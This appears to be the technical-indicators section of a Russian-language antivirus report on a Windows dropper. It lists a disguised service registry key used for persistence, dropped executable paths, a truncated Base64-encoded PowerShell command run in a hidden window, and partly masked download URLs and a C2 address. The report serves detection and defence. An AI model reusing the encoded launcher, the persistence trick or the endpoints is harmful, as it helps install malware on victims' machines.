Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons004a] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\NlsLexicons004a] 'ImagePath' = '"%WINDIR%\SysWOW64\mfc100esn\NlsLexicons004a.exe"'
- 'NlsLexicons004a' "%WINDIR%\SysWOW64\mfc100esn\NlsLexicons004a.exe"
- 'NlsLexicons004a' %WINDIR%\SysWOW64\mfc100esn\NlsLexicons004a.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHYAdQBfAHMAcAAyAD0AKAAnAEEAOQBpAGMAMQBuACcAKwAnADgAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBQAFwATwBmAGYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlAC...
- %TEMP%\office2019\svwgqk.exe
- %WINDIR%\syswow64\mfc100esn\nlslexicons004a.exe
- %TEMP%\office2019\svwgqk.exe в %WINDIR%\syswow64\mfc100esn\nlslexicons004a.exe
- '18#.#0.61.163':443
- http://ex##.##nalearning.com/pana/e/
- http://www.in####bericos.com/data/S/
- http://18#.##.61.163:443/P7zEDsXC/9DzRSdE/mt6JiUe6iWP8leA/4E7LfxGoAgAR0GSJBWA/UJ9QxSQvYCcF/ via 18#.#0.61.163
- DNS ASK ex##.##nalearning.com
- DNS ASK in####bericos.com
- '%TEMP%\office2019\svwgqk.exe'
- '%WINDIR%\syswow64\mfc100esn\nlslexicons004a.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGAHYAdQBfAHMAcAAyAD0AKAAnAEEAOQBpAGMAMQBuACcAKwAnADgAJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAFYAOgB0AEUAbQBQAFwATwBmAGYASQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlAC...' (со скрытым окном)